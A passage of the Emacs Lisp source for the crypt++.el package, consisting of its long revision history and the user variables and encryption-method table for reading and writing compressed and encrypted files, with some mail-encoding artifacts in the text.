- original version of crypt.el ;;; 1.2 - ;;; jwz: works with tar-mode.el ;;; jwz: applied patch from piet, merged with Lawrence Dodd's gzip version ;;; 1.3 - ;;; lrd: fixed compress-magic-regexp ;;; 1.4, 1.5, 1.6 - ;;; lrd: write-file compresses or gzips based on file extension ;;; 2.1 - ;;; lrd: merged with Rod Whitby's table-driven version (major upgrade) ;;; 2.2 - ;;; rjw: Changed file name to crypt++.el, so archie and lispdir can find = it. ;;; 2.3 - ;;; rjw: Separated the hook additions and minor mode alist additions. ;;; 2.4 - ;;; rjw: Fixed the interactive form for crypt-buffer. ;;; 2.5 - ;;; lrd: doc mods, changed GNU free software notice (was out of date), ad= ded ;;; anonymous ftp information ;;; 2.6 - ;;; lrd: added back in definition of `buffer' in defun crypt-buffer caused ;;; an error when trying to read encrypted file; modified check for minor ;;; mode alist addition; added gzip magic number warning ;;; 2.7 - [posted to gnu.emacs.sources] ;;; lrd: added `TO DO' and `KNOW BUGS' section to header ;;; 2.8 - ;;; lrd: added note about updating to v 1.24 of tar-mode.el ;;; Thanks to Mark Borges ;;; 2.9 - ;;; lrd: moved query about `crypt-freeze-vs-fortran' out of defvar for ;;; `crypt-encoding-alist,' an erroneous value of nil was being stuck into ;;; alist when user set `crypt-freeze-vs-fortran' was nil, doc mod. ;;; Thanks to Mark Borges ;;; 2.10 - ;;; rjw: moved query about `crypt-freeze-vs-fortran' back into defvar for ;;; `crypt-encoding-alist,' - used append to ignore the erroneous nil. ;;; 2.11 - ;;; rjw: fixed a bug in my fix :-( ;;; 2.12 - ;;; rjw: Defvar crypt-magic-regexp and crypt-magic-regexp-inverse and ;;; allow either a regexp or an elisp expression. ;;; Suggested by Franc,ois Pinard . ;;; 2.13 - ;;; lrd: added in info on lispdir.el, doc mods and some puttering while ;;; looking over rjw's v 2.12 mods. ;;; 2.14 - ;;; lrd: doc mod - trivial huh? switched `compact' and `gzip' in ;;; `crypt-encoding-alist' - want gzip near top ;;; 2.15 - ;;; lrd: added in LCD Archive Entry and modified comments on tar-mode.el ;;; since the version at the elisp-archive now works with crypt++.el ;;; 2.16 - ;;; lrd: provide `crypt' as well as `crypt++' allowing something like `ln= -s ;;; crypt++.el crypt.el' to be meaningful ;;; Suggested (by|as) Per Abrahamsen ;;; 2.17 - ;;; lrd: clarified bug report procedure, added fancy pseudo-graphics, add= ed ;;; to the `TO DO' list, put RCS tags in LCD Archive entry ;;; 2.18 - [posted to gnu.emacs.sources] ;;; lrd: included pointer to elisp archive in crypt-version description, ;;; changed "Decode buffer %s? " to "Decode %s? " in crypt-find-file-hook ;;; to be more general (mainly for crypt-insert-file) ;;; 2.19 - ;;; rjw: Added the crypt-compact-vs-C++ switch to distinguish compacted a= nd ;;; C++ files. ;;; 2.20 - ;;; lrd: (1) modified interactive form of crypt-buffer. (2) made search ;;; case-insensitive in crypt-submit-report. (3) modified encoded-mode and ;;; crypt-mode so that buffer-modified is not unconditionally set to nil ;;; when the mode is not changed. Thanks to Gerd Hillebrand ;;; for suggesting (2) and (3). ;;; 2.21 - ;;; rjw: Added an entry to the TODO list about the hazards of using ;;; call-process-region on a large region and not much room in /tmp ;;; (David Carlisle ). ;;; 2.22 - ;;; lrd: allow write-file-hooks to contain functions as well as lists. ;;; Contributed by Ken Laprade . ;;; 2.23 - ;;; lrd: made crypt-submit-report list values of more user-defined variab= les ;;; 2.24 - ;;; lrd: pass the -q switch to gzip to thwart the possibility of a --verb= ose ;;; in the GZIP environment variable ;;; 2.25 - ;;; lrd: added some more to the TO DO list, clarified some things, also ;;; untabified the entire file (I got tired of the control I's) ;;; 2.26 - ;;; lrd: use the long-named options for GNU zip (self-documenting) ;;; 2.27 - ;;; lrd: included observation by Francois Pinard ;;; and worked on text in TO DO/KNOWN BUGS list ;;; 2.28 - ;;; lrd: added two new variables in (crypt-submit-report) to the list stu= ck ;;; at the bottom of the mail message; changed the comments regarding the ;;; user-defined variables. added in default values in user defined ;;; variables. added to and removed stuff to the `TO DO' list. ;;; ;;; (encoded-mode): ;;; added in code to remove any auto-save-files that may have been formed ;;; before becoming an encoded buffer (for example a plain file saved to ;;; disk encoded had orphan auto-save-files left behind). turning off ;;; auto-save-mode disables the creation of auto-save-files, but it also ;;; disables the possibility of these being removed when the buffer is ;;; saved. ;;; ;;; (crypt-region): ;;; now call the encryption and decryption program directly instead of ;;; through the shell. this is more secure since the shell will expose t= he ;;; password (key). thanks to Jon Cargille . defi= ned ;;; two new variables `crypt-decryption-args' and `crypt-encryption-args'= to ;;; take the arguments separately. removed (let ((opoint)...)) construct ;;; this was a throw back to some old dead code and was not being used. ;;; 2.29 - ;;; lrd: added three new variables in (crypt-submit-report); added to the ;;; `TO DO' list. ;;; ;;; (encode-region,encode-buffer,encoded-mode): fixed interactive forms - ;;; the conversion to table version had eliminated some of the interactive ;;; features of these. thanks to Kimball Collins ;;; for point this out. new interactive form uses functions ;;; `crypt-get-encoding-type' and `crypt-symbol-alist-to-table' and varia= ble ;;; `crypt-default-encoding' to generate completion list of encoding type= s. ;;; ;;; (crypt-write-file-hook): two new user-defined variables ;;; `crypt-query-if-interactive' and `crypt-no-extension-implies-plain' a= nd ;;; the buffer-local variable `buffer-interactive-mode' are used to help ;;; determined whether or not plain output is really desired for files ;;; without a compression file-name extension. the default behavior is t= he ;;; same as before. ;;; 2.30 - ;;; lrd: added test for user-defined variable `crypt-never-ever-decrypt' ;;; when finding a file. some users may never wish to decrypt files ;;; and like to edit binary files. thanks to Nelson Minar ;;; . added to doc-strings of ;;; `crypt-magic-regexp[-inverse]' -- these can be set to nil[t] and ;;; accomplish the same thing as setting `crypt-never-ever-decrypt' to t ;;; 2.31 - ;;; rjw: Updated the comments in the encryption check section. ;;; 2.32 - [posted to gnu.emacs.sources] ;;; lrd: added warning about `crypt-(de|en)cryption-program'; doc mod. ;;; 2.33 - ;;; lrd: if `crypt-(de|en)cryption-args' are nil then don't pass any ;;; arguments to (de|en)cryption program, nil is the default instead of ;;; "". Thanks to Joe Ilacqua , David J. Schur ;;; , Peter Nuth , and Greg Larson ;;; . `-q' exists in gzip 1.0.3 but not `--quiet' changed ;;; GZIP NOTE. Thanks to Chris Moore . ;;; 2.34 - ;;; lrd: allow `crypt-(de|en)cryption-args' to be a list of strings -- mo= re ;;; robust. query for password (key), if none is set, when writing out f= ile ;;; for which `buffer-save-encrypted' is t. Thanks to John Interrante ;;; . (crypt-write-file-hook): check filena= me ;;; extension against regexp `crypt-encryption-file-extension' and query = for ;;; encryption, unless `crypt-auto-write-buffer-encrypted' is t (don't ;;; bother doing reverse check, encrypted to plain, not a common request). ;;; (crypt-mode): delete auto-save files (cf., encoded-mode), may exist n= ow. ;;; (read-string-no-echo): applied patch from Piet van Oostrum ;;; -- set `cursor-in-echo-area' _after_ setting buffer ;;; (this was screwing up gnews). ;;; 2.35 - ;;; lrd: doc mod ;;; 2.36 - ;;; lrd: fixed typo, added RMAIL note. ;;; 2.37 - [posted to gnu.emacs.sources] ;;; lrd: ;;; (crypt-write-file-hook): search user-defined list ;;; `crypt-ignored-filenames' for possible match with `buffer-filename' ;;; before attempting conversion from compressed to plain format; useful = for ;;; compressed incoming mail files (e.g., RMAIL, INBOX). ;;; ;;; (crypt-mode): query for key if not set already; need to switch order = of ;;; recovering key and toggling crypt-mode in crypt-find-file-hook (thanks ;;; to Piet van Oostrum ). ;;; ;;; (crypt-buffer) and (encode-buffer): remove interactive form; use ;;; (crypt-mode) and (encoded-mode) instead so encryption and compression ;;; are done at the very end; leave interactive form in (crypt-region) and ;;; (encode-region) may still be used. ;;; ;;; (set-encryption-key): remove from `command-history' if called ;;; interactively - thanks to George M. Georgiou ;;; . ;;; 2.38 - ;;; lrd: added `crypt-' prefix to `(read-string-no-echo)' and `(save-poin= t)' ;;; changed file extension for gzip files to `.z' _or_ `.gz' (future rele= ase ;;; of gzip with use later extension by default and so this should be ;;; changed to just `.gz' someday). ;;; 2.39 - ;;; lrd: doc mod. added in patch from jwz - `(crypt-read-string-no-echo)'= is ;;; more secure, put property 'permanent-local on buffer-locals works for ;;; Lucid Emacs and doesn't harm v18 emacs, change `buffer-interactive-mo= de' ;;; to `buffer-interactive-encoded-mode.' ;;; 2.40 - ;;; lrd: put property 'preserved in case kill-fix.el is being used. ;;; 2.41 - ;;; lrd: all functions and variables now start with `crypt-', moved REVIS= ION ;;; HISTORY to bottom of header, interactive version of ;;; `(crypt-encrypt-region)' clearer, `(crypt-read-string-no-echo)' now ;;; echos `.' ;;; 2.42 - ;;; lrd: (crypt-check-extension-for-encoding): broke out of ;;; `(crypt-write-file-hook)'. setting user variables ;;; `crypt-compact-vs-C++' and `crypt-freeze-vs-fortran' to nil no longer ;;; completely disables the reading compact'ed and frozen files but just ;;; disables the use of the file-extension tricks of ;;; `(crypt-check-extension-for-encoding).' (crypt-encode-region): allow ;;; for a single line message from encoding program at top of region; if = it ;;; is there, then remove it; kludge for `compact' program. ;;; 2.43 - ;;; lrd: (crypt-encode-region): generalize the clean up procedure; add ;;; element to `crypt-encoding-alist' and introduce new function ;;; `(crypt-encoding-cleanup-regexp)' to extract a compression specific ;;; regexp for erroneous message or lisp expression for cleanup. ;;; 2.44 - ;;; lrd: new element for `crypt-encoding-alist' handles whether or not ;;; file-name extension tricks may be play with encoding method; compact = and ;;; freeze values default to `crypt-compact-vs-C++' and ;;; `crypt-freeze-vs-fortran' (thanks to rjw); ;;; (crypt-encoding-extension-tricks): new defun to handle this; ;;; (crypt-check-extension-for-encoding): monitors "tricks" entry of ;;; `crypt-encoding-alist' and adjust the bag of tricks it can apply. ;;; 2.45 - ;;; lrd: (crypt-encode-region): delete entire match of cleanup regexp by ;;; requiring newlines in GARBAGE-REGEXP-OR-LISPEXP. (crypt-submit-repor= t): ;;; use Warsaw's reporter.el. ;;; 2.46 - ;;; lrd: (crypt-find-file-hook, crypt-write-file-hook): cleaned, document= ed, ;;; and replaced occurrences of `(cond (C BODY))' with `(if C BODY)'; ;;; changed `crypt-magic-regexp' to `crypt-encryption-magic-regexp' and ;;; `crypt-magic-regexp-inverse' to `crypt-encryption-magic-regexp-invers= e' ;;; for consistency with other variable names. new user-defined variable ;;; `crypt-encryption-minor-mode-name' instead of always "Crypt". grouped ;;; all encryption variables together. ;;; 2.47 - ;;; lrd: somewhat major change - put program-specific encryption variables ;;; into a single table `crypt-encryption-alist' and let the variable ;;; `crypt-encryption-type' define the appropriate entry to use; new ;;; user-defined variable `crypt-confirm-password,' thanks to Jeff Clark ;;; . (crypt-submit-report): improved error ;;; handling, thanks to baw. (crypt-write-file-hook): fixed bug with ;;; `crypt-encoding-extension-tricks' ;;; 2.48 - ;;; lrd: added dummy argument to `crypt-encoding-alist' and ;;; `crypt-encryption-alist' and merged all defuns that work on their ;;; elements into defuns that all start with `crypt-get-' and look through ;;; both lists. simplifies some of code and closer to treating encryption ;;; as a special case of encoding; crypt-minor-mode-alist: replaced (nth = *) ;;; with `(crypt-get-minor-mode)' call; (crypt-encode-region): allow ;;; arguments to be list of strings; renamed (crypt-get-encoding-type) to ;;; (crypt-read-encoding-type) for clarity. ;;; 2.49 - [posted to gnu.emacs.sources] ;;; lrd: (crypt-encode-region): ignore `args' if set to t ;;; 2.50 - ;;; lrd: (crypt-write-file-hook): in v19 we need to call `backup-buffer' ;;; ourselves -- we write out the file and return t so `basic-save-buffer' ;;; does not do it; also call `set-file-modes' ;;; 2.51 - ;;; lrd: some `defvar's are now `defconst's and tar-mode note was changed. ;;; 2.52 - ;;; lrd: make doc strings conform to GNU standards. ;;; 2.53 - ;;; lrd: made header conform to GNU Conventional Headers standard. ;;; 2.54 - ;;; lrd: `crypt-encryption-file-extension', `crypt-freeze-vs-fortran', ;;; `crypt-compact-vs-C++', `crypt-encryption-magic-regexp', and ;;; `crypt-encryption-magic-regexp-inverse' are used in defining the tabl= es ;;; `crypt-encoding-alist' and `crypt-encryption-alist' and so need to be= set ;;; _before_ loading crypt++. use `add-hook' if it is available. ;;; 2.55 - ;;; lrd: new interactive function `crypt-insert-file' mimics `insert-file' ;;; but attempts to decode or decrypt before insertion; bound `C-x i' if ;;; `crypt-bind-insert-file' is non-nil. comment out doc-strings from ;;; internal subroutines, saves space. ;;; 2.56 - ;;; tfb: change the definitions of crypt-{encoding,encryption}-alist, to ;;; call the functions crypt-make-{encoding,encryption}-alist resp. ;;; Added crypt-reinit which regenerates these variables from their ;;; functions, thus allowing this stuff to be preloaded even if people ;;; set things in their init files. ;;; Tim Bradshaw ;;; 2.57 - ;;; lrd: untabify; remove duplicate entry in `crypt-make-encoding-alist'; ;;; change name of `crypt-make-*-alist' to `crypt-build-*-alist' and ;;; `crypt-reinit' to `crypt-rebuild-tables'; (crypt-read-string-no-echo): ;;; change local variable `form' to `help-form' so it is defined; ;;; `crypt-encryption-alist' and `crypt-encoding-alist' must be defined w= ith ;;; `defconst' since we wish crypt++ to initialize these variables ;;; unconditionally; modify INSTALLATION section to reflect these changes. ;;; 2.58 - ;;; lrd: doc mod. ;;; 2.59 - [posted to gnu.emacs.sources] ;;; lrd: (crypt-bind-insert-file): new function for changing "C-x i" in ;;; initialization file or interactively. ;;; 2.60 - ;;; lrd: add `crypt-rebuild-tables' and `crypt-bind-insert-file' to ;;; `after-init-hook' in GNU emacs v19 and to `term-setup-hook' in Lucid ;;; emacs. Change INSTALLATION notes. ;;; 2.61 - [posted to gnu.emacs.sources] ;;; lrd: Doc mod. Clean up the installation of minor mode indicators. ;;; 2.62 - [posted to gnu.emacs.sources] ;;; lrd: installed patch from stig@hackvan.com to simplify crypt-get-* de= funs ;;; (now defmacros). Don't add to `term-setup-hook' unless no ;;; `after-init-hook' _and_ definitely running v19, otherwise Rod gets an ;;; error at home :-<. Don't assume C-x i had `insert-file' bound to it: ;;; store old binding in `crypt-old-binding' before overwriting and use in ;;; function `crypt-bind-insert-file.' ;;; 2.63 - ;;; lrd: (crypt-encode-buffer, crypt-encode-region, crypt-encrypt-buffer, ;;; crypt-encrypt-region): changed argument list putting optional buffer ;;; last and making default action to encode or encrypt. (crypt-encoded-p, ;;; crypt-encrypted-p): new functions that do the actual testing of file ;;; contents. (crypt-find-file): uses these new functions. ;;; (crypt-rebuild-minor-modes-alist): new function to rebuild ;;; `minor-mode-alist' called by function crypt-rebuild-tables. ;;; (crypt-build-minor-mode-alist): new function called by ;;; `crypt-minor-mode-alist' to create itself. `crypt-minor-mode-encrypt= ed' ;;; removed because defined in function crypt-build-minor-mode-alist. ;;; 2.64 - ;;; lrd: (crypt-find-file-hook): temporarily remove the encrytion file ;;; extension to help determine the major mode, just like is done with the ;;; encoding file extension. In order for this to work properly the file ;;; extension in `crypt-encryption-file-extension' and ;;; `crypt-encryption-alist' needs to be inside a pair of \\( \\). ;;; 2.65 - ;;; lrd: (crypt-find-file-hook): move determination of key, password, into ;;; (crypt-encrypted-p). ;;; 2.66 - ;;; lrd: (crypt-set-encryption-key): improve prompt string for encryption ;;; key. ;;; 2.67 - ;;; lrd: (crypt-write-file-hook): make check for encryption file-name ;;; extension case-sensitive. ;;; 2.68 - ;;; lrd: fixed check for previous addition to `minor-mode-alist' -- was n= ot ;;; working. Check for an `add-hook' function; if one does not exist then ;;; use a copy of one from GNU Emacs 19. When using `add-hook' to append= to ;;; the `write-file-hooks' make sure that the version accepts the optional ;;; APPEND argument -- v19's does but the one in the elisp archive by Dan ;;; LaLiberte does not append. This causes problem= s. ;;; Thanks to Francesco Potorti` for pointing this ;;; out. ;;; 2.69 - [posted to gnu.emacs.sources] ;;; lrd: doc mod with regards `after-init-hook' and Lucid Emacs. Add ;;; pointer to crypt++-fnf.el for people who might be interested. ;;; 2.70 - ;;; lrd: narrow conditions under which crypt-encryption-magic-regexp ;;; matches. Thanks to Philippe Michel and Franc= ois ;;; Pinard for helping explain this with regards ;;; to ISO/Latin-1. ;;; 2.71 - ;;; lrd: applied patches from Darrin Jewell for DOS to U= NIX ;;; support. DOS entry added to crypt-build-encoding-alist. ;;; (crypt-dos-to-unix-region, crypt-unix-to-dos-region): New ;;; functions. (crypt-dos-has-ctrl-z): New buffer-local variable. ;;; (crypt-encode-region): allow for encoding and decoding programs to be ;;; elisp expressions. If they are then apply them directly to region. ;;; Point out that crypt++.el conflicts with dos-mode.el. ;;; 2.72 - ;;; lrd: The limit for the regular expression search done by ;;; `crypt-encrypted-p' is extended to 100 by default. The enlargement of ;;; search field is needed because of previous reduction in size of regexp ;;; being searched for. (crypt-magic-search-limit): New variable defining ;;; this new limit. (crypt-encrypted-p): Uses it and cleaned up. Doc mo= d. ;;; Thanks to Philippe Michel , Francois Pinard ;;; , and Dave Goldberg . ;;; 2.73 - [posted to gnu.emacs.sources] ;;; lrd: Apply patch from Kevin Rodgers that ;;; uses more verbose messages and capitals. Doc mod. ;;; 2.74 - ;;; lrd: Untabify. (crypt-encrypted-p): Check value of ;;; `crypt-never-ever-decrypt' before anything else. ;;; 2.75 - ;;; lrd: (crypt-version): Remove call to `substring'. ;;; 2.76 - ;;; lrd: (crypt-encryption-magic-regexp-inverse): Add in regexp that will ;;; match ksh `.sh_history' files so that they are not interpreted as ;;; encrypted files. Thanks to Francesco Potorti` . ;;; 2.77 - [posted to gnu.emacs.sources] ;;; lrd: (crypt-bind-insert-file): Use substitute-key-definition to bind ;;; crypt-insert-file to whatever key insert-file is bound to (not ;;; necessarily C-x i). Call crypt-bind-insert-file directly in ;;; file. Variable crypt-bind-insert-file: Doc mod. Remove ;;; crypt-old-binding. Replace `M-x foobar' in doc strings with ;;; `\\[foobar]'. ;;; 2.78 - ;;; lrd: (crypt-auto-write-answer-local): New internal variable. Holds ;;; answer to query about file-extension tricks question per buffer. Tha= nks ;;; to George Forman . Remove Rod from list of ;;; maintainers...he's busy enough. Merge multiple setq forms into single ;;; setq forms. ;;; 2.79 - ;;; lrd: (crypt-y-or-n-p): New internal function for querying. Tests the ;;; internal variable crypt-auto-write-answer-local to ensure single quer= y. ;;; (crypt-check-extension-for-encoding): Replace all occurrences of quer= ies ;;; involving y-or-no-p constructs with crypt-y-or-n-p. ;;; 2.80 - [posted to gnu.emacs.sources] ;;; lrd: (crypt-set-encryption-key): Shorten interactive prompt. Change ;;; documentation. ;;; 2.81 - ;;; lrd: (crypt-variable-list): Add shell and path variables. ;;; (crypt-confirm-password): Fix spelling error in doc. ;;; 2.82 - ;;; lrd: Applied patch from Noah Friedman . ;;; (crypt-encoded-disable-auto-save, crypt-encrypted-disable-auto-save): ;;; New user-defined variables. (crypt-encoded-mode, crypt-encrypted-mode= ): ;;; Use them. ;;; 2.83 - 2feb98 ;;; kb: Changed occurrences of roebling. Do (set-visited-file-name). ;;; Incorporate patches from David Rosinger for win32. ;;; 2.84 - 20mar98 ;;; kb: Applied XEmacs 2.83 patch by hniksic to add custom support. ;;; Support .tgz as .tar.gz. ;;; Add bzip support. ;;; Merge pgp support from John Heidemann , ;;; http://www.isi.edu/~johnh/SOFTWARE/index.html. ;;; Requires either mailcrypt or "PEM - PGP Enhanced Messaging for ;;; GNU Emacs" from Roy Frederick Busdiecker, III (Rick). ;;; Merge Mac support from Daniel M. German . ;;; 2.85 - 5jun98 ;;; cro@nca.asu.edu: Add support in pgp-pub for encrypting files with ;;; multiple user's keys. New variables: crypt-pgp-pub-multirecipients, ;;; crypt-pgp-pub-recipients, crypt-pgp-pub-recipients-history. ;;; This support is on by default. ;;; nosuzuki@e-mail.ne.jp: defvar shell-command-switch. ;;; knabe@cs.virginia.edu: crypt-pgp variable names. ;;; 2.86 - 17jan99 ;;; nmg97r@ecs.soton.ac.uk: Discard stderr from subprocesses instead ;;; of inserting into the current buffer. ;;; 2.87 - 21apr99 ;;; add crypt-decode-{dos,mac}-p. ;;; 2.88 - 2jun00 ;;; kifer@cs.sunysb.edu: (coding-system-for-write 'no-conversion) ;;; ryk@coho.net: (buffer-file-coding-system 'no-conversion) ;;; johnh@isi.edu: mailcrypt & pgp/pgp5.0/gpg. ;;; 2.89 - 11may01 ;;; joerg@plate.cx (Joerg Plate): bzip !=3D bzip2. ;;; plord@hgmp.mrc.ac.uk (Phillip Lord) (crypt-file-write-hook): ;;; (let inhibit-read-only t) so we can save with read-only properties. ;;; cro@nca.asu.edu (Charles R. Oldham) (crypt-pgp-pub-encrypt-region): ;;; typo, pgp used in gpg block. ;;; hull@paracel.com (David Hull): gpg file support, also ;;; set coding-system-for-read to 'no-conversion, fixes decryption ;;; bug with files beginning with a blank line. ;;; kb (crypt-encode-region): set coding-system-for-*. This ;;; backwards incompatibility sure has been painful. ;;; 2.90 - 19may01 ;;; kb: pattern for .elc files. ;;; 2.91 - 15nov01 ;;; forcer@debian.org (Jorgen Schaefer): mcrypt entry. ;;; doc fixes from dmagda@magda.ca (David Magda) ;;; and vidal@sc.edu (Jose Vidal). ;;; 2.92 - 17jan03 ;;; kb: no more ftp.cs.umb.edu. ;;; mernst@alum.mit.edu (Michael Ernst): rc4 encoding. =0C ;;; Code: ;;;; User definable variables. (defvar shell-command-switch "-c") ; in case it isn't defined yet. (defvar crypt-encryption-type 'crypt "*Method of encryption. Must be an element of `crypt-encryption-alist.' If you change this after crypt++ is loaded then do \\[crypt-rebuild-tables]= =2E") (defvar crypt-encryption-file-extension nil "*Regexp for extension of files encrypted with `crypt-encryption-type.' Should be of the form \"\\\\(\\\\.foo\\\\)$\". nil says use default values= in `crypt-encryption-alist.' If you change this after crypt++ is loaded then = do \\[crypt-rebuild-tables].") (defvar crypt-never-ever-decrypt nil "*t says never attempt to decrypt a buffer.") (defvar crypt-auto-write-buffer-encrypted nil "*t says files with `crypt-encryption-alist' file extension auto-encrypte= d. nil says query. See `crypt-auto-write-buffer.'") (defvar crypt-confirm-password nil "*t says confirm new passwords and when writing a newly encrypted buffer.= ") (defvar crypt-encoded-disable-auto-save t "*If t, turn off auto-save-mode for buffers which are encoded. If non-nil but not t, then no message is displayed. The default is t is because there isn't any way to tell emacs to encode the autosave file, so the autosave would be in a different format from the original. The disadvantage of turning off autosaves is that any work you do in that buffer will be completely lost if the changes are not explicitly saved. It is probably best to set this variable to nil and use buffer-local variables in files for which you don't actually care about autosaves. Unencoded recovery data is better than none at all.") (defvar crypt-encrypted-disable-auto-save t "*If t, turn off auto-save-mode for buffers which are encrypted. If non-nil but not t, then no message is displayed. The default is t is because there isn't any way to tell emacs to encrypt the autosave file, so the autosave would be in cleartext form. The disadvantage of turning off autosaves is that any work you do in that buffer will be completely lost if the changes are not explicitly saved. You might consider setting this variable to nil and use buffer-local variables in files for which security is more important than data recovery.") ;;; ENCRYPTION ;;; Encrypted files have no magic number, so we have to hack a way of ;;; determining when a buffer should be decrypted. we do this only buffers ;;; that match a MAGIC-REGEXP very close to beginning of buffer and that do ;;; _NOT_ match a MAGIC-REGEXP-INVERSE. ;;; ;;; Currently MAGIC-REGEXP matches non-ASCII characters and ;;; MAGIC-REGEXP-INVERSE will match Sun OS, 4.x BSD, and Ultrix executable ;;; magic numbers, so binaries can still be edited (heh) without headaches. (defconst crypt-encryption-magic-regexp "[\000\200-\237]\\|^-----BEGIN PGP = MESSAGE\\|^Salted__" "Regexp that must be found very close to beginning of encrypted buffer. This is intended to be an internal variable \(not user-visible\). If you change this after crypt++ is loaded then do \\[crypt-rebuild-tables].") (defconst crypt-encryption-magic-regexp-inverse "\\`\201\001\\|^\\(..\\)?\\([\007\010\013]\001\\|\001[\007\010\013]\\)\\|= ^From \\|^;ELC" "Regexp that must *not* be found very close to beginning of encrypted buf= fer. This is intended to be an internal variable \(not user-visible\). If you change this after crypt++ is loaded then do \\[crypt-rebuild-tables].") (defconst crypt-magic-search-limit 100 "Limit of regular expression search used to recognize encrypted files. Maximum position in file for presence of `crypt-encryption-magic-regexp' and absence of `crypt-encryption-magic-regexp-inverse'.") (defun crypt-build-encryption-alist () ;; Returns the encryption alist (list ;; crypt (list 'crypt crypt-encryption-magic-regexp crypt-encryption-magic-regexp-inverse (or crypt-encryption-file-extension "\\(\\.e\\)$") "crypt" "crypt" nil nil "Crypt" nil t nil ) ;; DES (Cipher Block Chaining - CBC) [DES' default] (list 'des crypt-encryption-magic-regexp crypt-encryption-magic-regexp-inverse (or crypt-encryption-file-extension "\\(\\.des\\)$") "des" "des" '("-e" "-k") '("-d" "-k") "DES-CBC" nil t nil ) ;; DES (Electronic Code Book - ECB) (list 'des-ecb crypt-encryption-magic-regexp crypt-encryption-magic-regexp-inverse (or crypt-encryption-file-extension "\\(\\.des\\)$") "des" "des" '("-e" "-b" "-k") '("-d" "-b" "-k") "DES-ECB" nil t nil ) ;; PGP (list 'pgp crypt-encryption-magic-regexp crypt-encryption-magic-regexp-inverse (or crypt-encryption-file-extension "\\(\\.pgp\\)$") "pgp" "pgp" '("+batchmode" "+verbose=3D0" "-c" "-f" "-z") '("+batchmode" "+verbose=3D0" "-f" "-z") "PGP" nil t nil ) ;; PGP with public-key encryption (list 'pgp-pub crypt-encryption-magic-regexp crypt-encryption-magic-regexp-inverse (or crypt-encryption-file-extension "\\(\\.pgp\\)$") "pgp" "pgp" nil nil "PGP-PUB" nil t nil ) ;; GPG (list 'gpg crypt-encryption-magic-regexp crypt-encryption-magic-regexp-inverse (or crypt-encryption-file-extension "\\(\\.gpg\\)$") "gpg" "gpg" '("--batch" "--quiet" "-c" "-o" "-" "--passphrase-fd" "0") '("--batch" "--quiet" "-o" "-" "--passphrase-fd" "0") "GPG" nil t t ) (list 'mcrypt crypt-encryption-magic-regexp crypt-encryption-magic-regexp-inverse (or crypt-encryption-file-extension "\\(\\.nc\\)$") "mcrypt" "mcrypt" '("-k") '("-d" "-k") "Rijndael-128" nil t nil ) (list 'rc4 crypt-encryption-magic-regexp crypt-encryption-magic-regexp-inverse (or crypt-encryption-file-extension "\\(\\.rc4\\)$") "openssl" "openssl" '("enc" "-rc4" "-e" "-k") '("enc" "-rc4" "-d" "-k") "RC4" nil t nil ) ;; Add new elements here ... )) (defconst crypt-encryption-alist (crypt-build-encryption-alist) "List of elements describing the encryption methods available. each element looks like \(ENCRYPTION-TYPE MAGIC-REGEXP MAGIC-REGEXP-INVERSE FILE-EXTENSION ENCRYPT-PROGRAM DECRYPT-PROGRAM ENCRYPT-ARGS DECRYPT-ARGS MINOR-MODE GARBAGE-REGEXP-OR-LISPEXP FILE-EXTENSION-TRICKS ENCRYPTION-KEY-STDIN \) ENCRYPTION-TYPE is a symbol denoting the encryption type. MAGIC-REGEXP regexp that must match very close to the beginning of an encrypted buffer. This may also be some elisp expression to be evaluated at \(point-min\) that will return t for an encrypted buffer. If this is set to nil then crypt++ will never try to decrypt a buffer. Currently set to the internal variable `crypt-encryption-magic-regexp' which will match non-ASCII characters. MAGIC-REGEXP-INVERSE regexp that must _NOT_ match very close to the beginni= ng of an encrypted buffer. This may also be some elisp expression to be evaluated at \(point-min\) that will return t for a NON-encrypted buffer. If this is set to t then crypt++ will never try to decrypt a buffer. Currently set to the internal variable `crypt-encryption-magic-regexp-inver= se' which will match Sun OS, 4.x BSD, and Ultrix executable magic numbers, so binaries can still be edited (heh) without headaches. FILE-EXTENSION regexp denoting the file extension usually appended the filename of files encrypted with ENCRYPT-PROGRAM. The variable `crypt-encryption-file-extension' will over ride the default. ENCRYPT-PROGRAM name of executable file to be used for encryption. DECRYPT-PROGRAM name of executable file to be used for decryption. ENCRYPT-ARGS arguments to be passed to ENCRYPT-PROGRAM may be a string or a list of strings or nil. DECRYPT-ARGS arguments to be passed to DECRYPT-PROGRAM may be a string or a list of strings or nil. MINOR-MODE string denoting the name for the encrypted minor mode as it will appear in the mode line. GARBAGE-REGEXP-OR-LISPEXP dummy variable for compatibility with encoding. FILE-EXTENSION-TRICKS is t or nil depending on whether or not tricks converting between different encryption types can be done based on FILE-EXTENSION; typically t. ENCRYPTION-KEY-STDIN is t if the encryption key should be passed to the encryption program on stdin, or nil if it should be appended to the end of the command line. It is more secure to pass it on stdin. ") =0C ;;; ENCODING (defvar crypt-auto-decode-buffer t "*t says buffers visiting encoded files will be decoded automatically. nil means to ask before doing the decoding.") (defvar crypt-auto-write-buffer nil "*t says save files with `crypt-encoding-alist' file extensions as encode= d. nil says to ask before doing this encoding. Similarly, buffers originating =66rom encoded files to be written to files not ending in `crypt-encoding-a= list' file extensions will be written in plain format automatically. nil says to ask before doing this decoding.") ;; This is an internal variable documented here and not in a DOCSTRING in ;; order to save memory. If this variable's value has been changed from its ;; default, then it contains the answer to the question "Write out buffer ;; foobar using `compression-type'?". This question is asked only if *plai= n* ;; buffer foobar is being written to disk *and* it has a provocative ;; `compression-type' file-name extension (see DOCSTRING for variable ;; crypt-auto-write-buffer). The variable is local to all buffers with a ;; default value of 'ask so if the situation described above arises, then t= he ;; question is asked at least once, unless the user-defined variable ;; crypt-auto-write-buffer is non-nil. (defvar crypt-auto-write-answer-local 'ask) (make-variable-buffer-local 'crypt-auto-write-answer-local) (setq-default crypt-auto-write-answer-local 'ask) (put 'crypt-auto-write-answer-local 'permanent-local t) ; for v19 Emacs (put 'crypt-auto-write-answer-local 'preserved t) ; for kill-fix.el (defvar crypt-query-if-interactive t "*t says ask when saving buffers where `crypt-encoded-mode' was toggled. nil says that even if filename extension is plain (i.e., not listed in `crypt-encoding-alist') buffer will be written in an encoded format without asking. This variable is designed for users that edit a plain file (with plain extension) and then toggle `(crypt-encoded-mode)' and do not wish to be queried every time that they save the buffer. NOTE: if `(crypt-encoded-mode)' was not called interactively (the usual scenario) then the value of this variable has no effect on how the buffer is written to disk. In such a case `crypt-no-extension-implies-plain' is then the relevant variable.") (defvar crypt-no-extension-implies-plain t "*t says file extensions not in `crypt-encoding-alist' may be written pla= in. if `crypt-auto-write-buffer' is also t then any file ending in a plain extension is written in plain format automatically, otherwise query user. nil says user works with encoded (compressed) files without file extensions and will not be queried each time they save these files. 